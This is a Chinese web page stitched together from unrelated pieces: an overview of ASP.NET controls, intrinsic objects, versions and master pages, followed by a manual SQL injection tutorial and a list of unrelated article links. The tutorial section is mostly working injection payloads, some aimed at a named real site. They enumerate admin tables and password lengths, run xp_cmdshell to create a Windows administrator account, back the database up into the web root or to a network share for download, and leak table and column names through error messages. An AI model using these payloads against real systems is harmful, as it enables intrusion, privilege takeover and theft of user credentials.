asp.net 可以支持HTML和XHTML两种网页内容,但在Visual Studio.NET中,默认是使用 HTML,但在Visual Studio 2005以后的版本,则一律都改用XHTML格式。
asp.net 的内置控件分为两种:HTML 控件:直接在 HTML 标记中加上 runat=“server”,即可对应到asp.net指定的 HTML 服务器控件类,像是: HtmlAnchor:表示 HTML 的 Web 控件:由 asp.net 提供,比 HTML 控件提供更多的功能,但操作与设置会比 HTML 控件要复杂许多,像是: LinkButton:一种外型为链接 HtmlButton:表示 HTML 的。HtmlImage:表示 HTML 的。HtmlGenericControl:表示没有对应到服务器控件的对象,都会被对应到这个类。Web 控件(Web control):由 asp.net 提供,比 HTML 控件提供更多的功能,但操作与设置会比 HTML 控件要复杂许多,像是: LinkButton:一种外型为链接(除了内置的控件之外,asp.net 也提供了可以自定义的控件架构,并且支持两种控件开发方法:
用户控件,以.ascx 为扩展名,可以让开发人员用最轻松的方式来开发控件,优点是开发速度很快,但缺点是无法转散布,且无法加入参考。自定义控件,可转散布型的控件,是经过编译后的代码,可单独转散布,并且可在其他的项目加入参考引用,自定义控件有三种开发模式: 基础控件:由 System.Web.UI.Control 类继承而来,或是由现有的 Web 控件继承而来,像是由 Button 控件继承。复合控件:由 System.Web.UI.WebControls.CompositeControl 继承而来,可以用复合的方式来开发控件。样板控件:可以在控件中使用样板,并套用数据到样板中,支持数据绑定的表达式。
以往在 ASP 中常被使用的五大基本对象,在 asp.net 中仍然持续被支持,但它们都换了一个身份来提供:
Application:包装了 HttpApplication 对象,在程序中使用 Application 指令取得的对象,都是来自于 HttpContext.Current.Application 属性回传而得。Request:包装了 HttpRequest 对象,在程序中使用 Request 指令取得的对象,都是来自于 HttpContext.Current.Request 属性回传而得。Response:包装了 HttpResponse 对象,在程序中使用 Response 指令取得的对象,都是来自于 HttpContext.Current.Response 属性回传而得。Session:包装了
HttpSessionState 对象,在程序中使用 Session 指令取得的对象,都是来自于 HttpContext.Current.Session 属性回传而得。
Server:包装了 HttpServerUtility对象,在程序中使用 Server 指令取得的对象,都是来自于HttpContext.Current.Server属性回传而得。
目前很多人对asp.net和asp很混淆,有的甚至认为两者是一样的!因为他们根本不了解,其实两者是不同,asp是解释性编程框架,而asp.net是编译性框架,asp.net无论是从执行效率和安全上都远远超过asp,而文件上也是有差异的asp的后缀是.asp 而asp.net则是.aspx和.aspx.cs,asp.net实现了代码分离。可以说让代码管理更加直观。
asp.net1.0和asp.net1.1的设计是良好的,因为在asp.net 2.0中只有很少的改动是修复已有的特性的,asp.net保留了同之前版本相同的基础,增加了新的、更高层此的特性支持,主要特性如下:丰富的控件 ,模板页 ,主题 ,安全和成员资格 ,数据源控件 ,Web部件 ,配置文件
asp.net3.0并不存在,微软使用.Net Framework3.0的名称发布了一系列的新的技术,其中最着名的有WPF,它是用于构建富客户端的全新用户界面技术,WCF使用于构建面向消息的服务技术,以及WF允许把复杂的业务逻辑过程建模为一组动作,不过.Net Framework3.0没有包括新版本的CLR或者asp.net。
asp.net 在一开始的时候是缺乏范本引擎的,其主因是.NET Framework本身是面向对象,且需要用继承的方式才能够延伸功能,大多数的开发人员都是由 System.Web.UI.Page 继承并定义出新的基类,并撰写要绘制 HTML 的方法,以及在他们的应用程序中修改以继承该类,然而这个方法可能会被用在网站的很多地方,因而会大大的提升混合代码与标记的复杂度,这个方法也只能在运行期才能够以可视化的方式测试,无法在设计时期可视化,其他的开发人员总是使用原有的 ASP方法来把每个网页需要的部份包到网页中,防止在每个网页中都要撰写相同的导览代码。
在 asp.net 2.0 中,推出了主版页面(master page)的概念,它可以让开发人员先行定义外观版型(*.master),再使用它来套用实际运行的网页,网页与主版页面之间以 ContentPlaceHolder的 ID 做链接,以套用正确的内容到保留区中,开发人员也可以定义在保留区没有套用时需要显示的默认内容。在 asp.net 3.5 中更进一步的支持设计时期的嵌套主版页面,以及把网页的 HEAD 区块纳入 ContentPlaceHolder 的范围。
篇6:纯手工注射ASP脚本学习
ACCESS
查询数据库类型
www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)
查询表admin页面返回正常显示为有,错误为无,
www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)
查询admin表中的项admin
/product.asp?sort_id=24 and exists (select admin_name from admin)
查询admin表中的项admin里面的内容长度 小于出错 等于返回正常
www.zengke.com//product.asp?sort_id=24 And (Select Top 1 len(cstr([pwd])) From (Select Top 1 * From [admin] Where 1=1 order by [pwd]) T order by [pwd] desc)<=7
暴力猜解admin表中的项admin_name
SQL
①Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
②Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的,
③Site/url.asp?id=1 ;;and db_name>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④Site/url.asp?id=1;backup database 数据库名 to disk=’c:inetpubwwwroot.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如202.96.xx.xxShare.db),但成功率不高。
⑤Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
相关文章:
学习态度的重要性:学习态度决定学习成效01-04
研修学习体会:短暂的学习无限的收获01-04
学习策略与语言学习者的关系01-04
2009复旦大学复试生存手册01-04
有深度的学习励志名言 励志学习的警句01-04
外婆的道歉信读后感01-04
英语学习中的合作学习01-04
学习十九大的学习心得01-04
学习的作文:学习为了谁01-04
关于努力学习的励志格言 努力学习的名言01-04